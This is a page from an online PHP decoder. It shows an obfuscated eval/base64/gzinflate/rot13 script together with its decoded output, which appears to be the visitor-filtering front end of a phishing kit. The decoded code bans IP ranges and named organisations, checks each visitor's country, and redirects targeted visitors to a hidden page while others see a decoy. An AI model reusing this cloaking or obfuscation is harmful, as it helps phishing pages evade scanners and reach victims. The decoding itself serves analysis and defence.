Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('pUZEeNswEH7Xr9Bc08jQV0PWPtRr3U3G9..

Decoded Output download

error_reporting(E_ALL);
ini_set("display_errors", "off");
//=================================================#Get_IP
include("./index.json/IP_INFO.php");
//=================================================#Ban_Range
include("./index.json/IP_Range.php");
//=================================================#Bad_Organization
include("./index.json/Organization.php");
//=================================================#hash_ip
$md5 = md5(base64_encode(md5($ip))); 
$md5ip = hash('sha256', $md5);
//=================================================#Country_Check
$GET_data_C = @json_decode(file_get_contents("https://ip-info.ff.avast.com/v2/info?ip=".$ip));

    if($GET_data_C  && $GET_data_C ->country != null)
    {
        $country = $GET_data_C ->country;
    }

$file = file_get_contents("./index.json/targets_countries.txt");
if( preg_match( "/$country/", $file ) ) {

header('Location: ./UID/');

//===========================================================================#page_ban
}
else{       
     {header('Location: ./book/?page=home#main');
     exit();}

}

Did this file decode correctly?

Original Code

<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('pUZEeNswEH7Xr9Bc08jQV0PWPtRr3U3G9rRzegnkVlVPRVc6xT7bTe2Q/z5WTCGFZ7D0DALffd993+l50E13rk5Wer3oyB3/MZ8XJfLCZgOWcY03d2NCHCLQcSc4k3qbBQRw1f/G0QNLPrsJzetu0QDJKPOigSX9eqRgsxs++2V/WkivDu1/6wT/6lEHYlik8vs0Gn6tOyf8L3S9FGJV7U/eI9c702avQz4257jC4SQrdODiIwdEyyAbM7lKUkSUOKG8CrhVIxPTu7Pzi8kJjvkDDVnlT0v9xKc91M8of7j7xht0HZ8Glc9kR95AMtL6AWsXNlxYbk5LULLeTXIuGfPq1ItJ0ral7tEZWHg5ssczFpNKXkgZWhOUCOEQviW7Mvj4GO++n36qt5bwhwqLxTAUibVBdIz8pV7t55UJuU4oj5YDd4/zSru0QYeq4Vu+B1Dt0saFBqdLduj46HndE5yxF3oW/pR6+yI8eIRtYw11MpnLOn0Tl5iy77OfeRKnPmAv/9iYZR3wlRN1g2AwsP57Ldv7TO8zspLymV1SXtXLEY5T51I0lhiw9JYUcrivzR8=')))));
?>

Function Calls

gzinflate 1
str_rot13 2
base64_decode 1

Variables

None

Stats

MD5 9165b3bc4f1f65b2610d12adf481acc6
Eval Count 1
Decode Time 133 ms